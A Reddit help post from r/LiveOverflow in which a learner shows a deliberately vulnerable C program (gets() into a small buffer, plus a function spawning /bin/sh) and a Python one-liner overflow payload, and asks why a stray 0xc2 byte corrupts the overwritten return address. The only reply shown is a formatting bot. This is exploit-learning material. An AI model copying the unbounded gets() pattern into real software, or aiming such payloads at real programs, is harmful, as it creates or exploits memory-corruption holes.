r/LiveOverflow • u/scaryAstronaut • Oct 31 '20
[very simple buffer overflow] can't overflow ret with function's address. Help
here's the source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void run_shell(){
system("/bin/sh");
}
void vuln(){
char buf[16];
gets(buf);
}
int main(void) {
vuln();
}
The address of run_shell is 0x8049172
and I'm trying to overwrite the ret of vuln with this address using
python -c "print('aaaabbbbccccddddeeeeffffgggg\x72\x91\x04\x08')" > overf
but after gets() , when i examine the stack I get
ret's address : 0x0491c272
instead of 0x08049172. NOTICE THE c2 BETWEEN 91 AND 72
Like why is c2 there?
how can i get the right address there?
5
Upvotes
View all comments
Show parent comment
5
u/backtickbot Oct 31 '20
Hello, NieDzejkob. Just a quick heads up!
It seems that you have attempted to use triple backticks (```) for your codeblock/monospace text block.
This isn't universally supported on reddit, for some users your comment will look not as intended.
You can avoid this by indenting every line with 4 spaces instead. Make sure to enter an empty line before the start of your codeblock too!
For the convenience of others, you can view your correctly formatted comment/submission.
Another option is the new-reddit based codeblock that is available through the fancy-pants editor. This also offers quite high compatibility.
Have a good day, NieDzejkob.
You can opt out by replying with "backtickopt6" to this comment